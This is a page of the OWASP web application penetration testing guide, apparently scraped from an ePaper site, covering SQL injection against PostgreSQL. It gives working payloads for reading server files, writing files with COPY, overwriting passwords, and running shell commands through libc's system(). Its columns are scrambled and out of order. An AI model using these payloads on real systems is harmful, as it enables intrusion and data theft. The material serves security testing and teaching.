1BO4r2U
1BO4r2U
1BO4r2U
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
123 124<br />
Web Application Penetration Testing<br />
Web Application Penetration Testing<br />
References<br />
Whitepapers<br />
• David Litchfield: “Data-mining with SQL Injection and Inference” -<br />
http:/www.databasesecurity.com/webapps/sqlinference.pdf<br />
• Chris Anley, “(more) Advanced SQL Injection” - http:/www.encription.co.uk/downloads/more_advanced_sql_injection.pdf<br />
• Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by Example”<br />
- http:/www.unixwiz.net/techtips/sql-injection.html<br />
• Alexander Chigrik: “Useful undocumented extended stored procedures”<br />
- http:/www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm<br />
• Antonin Foller: “Custom xp_cmdshell, using shell object” - http:/<br />
www.motobit.com/tips/detpg_cmdshell<br />
• Paul Litwin: “Stop SQL Injection Attacks Before They Stop You” -<br />
http:/msdn.microsoft.com/en-us/magazine/cc163917.aspx<br />
• SQL Injection - http:/msdn2.microsoft.com/en-us/library/<br />
ms161953.aspx<br />
• Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection<br />
- http:/www.appsecinc.com/presentations/Manipulating_SQL_<br />
Server_Using_SQL_Injection.pdf uploading files, getting into internal<br />
network, port scanning, DOS<br />
OWASP Backend Security Project Testing<br />
PostgreSQL<br />
Summary<br />
In this section, some SQL Injection techniques for PostgreSQL will be<br />
discussed. These techniques have the following characteristics:<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc<br />
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
Blind Injection<br />
For blind SQL injection attacks, you should take into consideration the<br />
following built-in functions:<br />
• String Length<br />
• LENGTH(str)<br />
• Extract a substring from a given string<br />
• SUBSTR(str,index,offset)<br />
• String representation with no single quotes<br />
• CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)<br />
Starting at version 8.2, PostgreSQL introduced a built-in function,<br />
pg_sleep(n), to make the current session process sleep for n seconds.<br />
This function can be leveraged to execute timing attacks (discussed in<br />
detail at Blind SQL Injection).<br />
In addition, you can easily create a custom pg_sleep(n) in previous<br />
versions by using libc:<br />
• CREATE function pg_sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’<br />
LANGUAGE ‘C’ STRICT<br />
The identity of the current user can be retrieved with the following SQL<br />
SELECT statements:<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
http:/www.example.com/store.php?id=1 UNION ALL SELECT<br />
user,NULL,NULL--<br />
http:/www.example.com/store.php?id=1 UNION ALL SELECT<br />
current_user, NULL, NULL--<br />
Examples:<br />
Current Database<br />
The built-in function current_database() returns the current database<br />
name.<br />
Example:<br />
file_store LIMIT 1 OFFSET 1;--<br />
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM<br />
file_store LIMIT 1 OFFSET 2;--<br />
...<br />
...<br />
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM<br />
file_store LIMIT 1 OFFSET 11;--<br />
pg_read_file():<br />
This function was introduced in PostgreSQL 8.1 and allows one to read<br />
arbitrary files located inside DBMS data directory.<br />
Examples:<br />
• SELECT pg_read_file(‘server.key’,0,1000);<br />
Writing to a file<br />
By reverting the COPY statement, we can write to the local file system<br />
with the postgres user rights<br />
/store.php?id=1; COPY file_store(data) TO ‘/var/lib/postgresql/<br />
copy_output’--<br />
• PHP Connector allows multiple statements to be executed by using<br />
; as a statement separator<br />
• SQL Statements can be truncated by appending the comment char:<br />
--.<br />
• LIMIT and OFFSET can be used in a SELECT statement to retrieve a<br />
portion of the result set generated by the query<br />
From now on it is assumed that http:/www.example.com/news.<br />
php?id=1 is vulnerable to SQL Injection attacks.<br />
How to Test<br />
Identifying PostgreSQL<br />
When a SQL Injection has been found, you need to carefully fingerprint<br />
the backend database engine. You can determine that the backend<br />
database engine is PostgreSQL by using the :: cast operator.<br />
Examples:<br />
http:/www.example.com/store.php?id=1 AND 1::int=1<br />
In addition, the function version() can be used to grab the PostgreSQL<br />
banner. This will also show the underlying operating system type and<br />
version.<br />
Example:<br />
http:/www.example.com/store.php?id=1 UNION ALL SELECT<br />
NULL,version(),NULL LIMIT 1 OFFSET 1--<br />
An example of a banner string that could be returned is:<br />
Single Quote unescape<br />
Strings can be encoded, to prevent single quotes escaping, by using<br />
chr() function.<br />
• chr(n): Returns the character whose ASCII value corresponds to the<br />
number n<br />
• ascii(n): Returns the ASCII value which corresponds to the character n<br />
Let’s say you want to encode the string ‘root’:<br />
select ascii(‘r’)<br />
114<br />
select ascii(‘o’)<br />
111<br />
select ascii(‘t’)<br />
116<br />
We can encode ‘root’ as:<br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
Example:<br />
http:/www.example.com/store.php?id=1; UPDATE users SET<br />
PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--<br />
Attack Vectors<br />
Current User<br />
http:/www.example.com/store.php?id=1 UNION ALL SELECT<br />
current_database(),NULL,NULL--<br />
Reading from a file<br />
PostgreSQL provides two ways to access a local file:<br />
• COPY statement<br />
• pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
COPY:<br />
This operator copies data between a file and a table. The PostgreSQL<br />
engine accesses the local file system as the postgres user.<br />
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--<br />
/store.php?id=1; COPY file_store(data) FROM ‘/var/lib/post-<br />
gresql/.psql_history’--<br />
Example<br />
Data should be retrieved by performing a UNION Query SQL Injection:<br />
• retrieves the number of rows previously added in file_store with<br />
COPY statement<br />
• retrieves a row at a time with UNION SQL Injection<br />
Example:<br />
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text<br />
FROM file_store LIMIT 1 OFFSET 1;--<br />
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM<br />
Shell Injection<br />
PostgreSQL provides a mechanism to add custom functions by using<br />
both Dynamic Library and scripting languages such as python, perl,<br />
and tcl.<br />
Dynamic Library<br />
Until PostgreSQL 8.1, it was possible to add a custom function linked<br />
with libc:<br />
• CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’,<br />
‘system’ LANGUAGE ‘C’ STRICT<br />
Since system returns an int how we can fetch results from system<br />
stdout?<br />
Here’s a little trick:<br />
[1] create a stdout table<br />
• CREATE TABLE stdout(id serial, system_out text)<br />
[2] executing a shell command redirecting its stdout<br />
• SELECT system(‘uname -a > /tmp/test’)<br />
[3] use a COPY statements to push output of previous command in<br />
stdout table<br />
• COPY stdout(system_out) FROM ‘/tmp/test’<br />
[4] retrieve output from stdout<br />
• SELECT system_out FROM stdout<br />
Example:<br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out<br />
text) --